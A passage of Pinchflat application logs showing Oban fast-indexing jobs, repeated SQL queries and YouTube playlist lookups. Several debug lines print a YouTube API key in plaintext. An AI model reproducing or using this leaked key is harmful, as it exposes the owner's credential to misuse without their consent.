short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:17:07.454 [debug] QUERY OK source="tasks" db=0.1ms idle=87.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799940, 24, ~U[2026-02-10 22:17:07Z], ~U[2026-02-10 22:17:07Z]] 16:17:07.455 [info] {"args":{"id":24},"id":3799902,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":89145,"event":"job:stop","queue_time":334741,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:07.474 [debug] QUERY OK source="media_items" db=0.8ms idle=18.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 16:17:07.475 [debug] QUERY OK source="media_items" db=0.4ms idle=20.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:17:07.475 [debug] QUERY OK source="tasks" db=0.1ms idle=15.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799941, 4, ~U[2026-02-10 22:17:07Z], ~U[2026-02-10 22:17:07Z]] 16:17:07.476 [info] {"args":{"id":4},"id":3799901,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110295,"event":"job:stop","queue_time":446008,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:08.366 [info] {"args":{"id":26},"id":3799903,"meta":{},"system_time":1770761828366676195,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:08.366 [debug] QUERY OK source="sources" db=0.1ms idle=890.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 16:17:08.367 [debug] QUERY OK source="settings" db=0.1ms idle=890.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:08.367 [debug] QUERY OK source="media_profiles" db=0.1ms idle=884.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:08.367 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:08.367 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 16:17:08.367 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:08.367 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:08.483 [debug] QUERY OK source="media_items" db=0.7ms idle=115.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 16:17:08.484 [debug] QUERY OK source="media_items" db=0.6ms idle=116.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 16:17:08.485 [debug] QUERY OK source="tasks" db=0.1ms idle=117.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799942, 26, ~U[2026-02-10 22:17:08Z], ~U[2026-02-10 22:17:08Z]] 16:17:08.485 [info] {"args":{"id":26},"id":3799903,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":119023,"event":"job:stop","queue_time":509924,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.367 [info] {"args":{"id":18},"id":3799904,"meta":{},"system_time":1770761829367673303,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.367 [info] {"args":{"id":39},"id":3799905,"meta":{},"system_time":1770761829367712825,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.368 [debug] QUERY OK source="sources" db=0.2ms idle=882.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:17:09.368 [debug] QUERY OK source="sources" db=0.1ms idle=882.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:17:09.368 [debug] QUERY OK source="settings" db=0.1ms idle=876.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:09.368 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:09.368 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:17:09.368 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:17:09.368 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:09.368 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.368 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:09.498 [debug] QUERY OK source="media_items" db=0.7ms idle=128.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 16:17:09.499 [debug] QUERY OK source="media_items" db=0.3ms idle=130.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 16:17:09.499 [debug] QUERY OK source="tasks" db=0.1ms idle=130.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799943, 39, ~U[2026-02-10 22:17:09Z], ~U[2026-02-10 22:17:09Z]] 16:17:09.500 [info] {"args":{"id":39},"id":3799905,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132181,"event":"job:stop","queue_time":363028,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.505 [info] {"args":{"id":3},"id":3799906,"meta":{},"system_time":1770761829505617249,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:09.505 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:17:09.506 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.506 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:09.506 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.506 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:17:09.506 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:09.506 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:09.515 [debug] QUERY OK source="media_items" db=0.4ms idle=9.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 16:17:09.516 [debug] QUERY OK source="media_items" db=0.6ms idle=10.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND 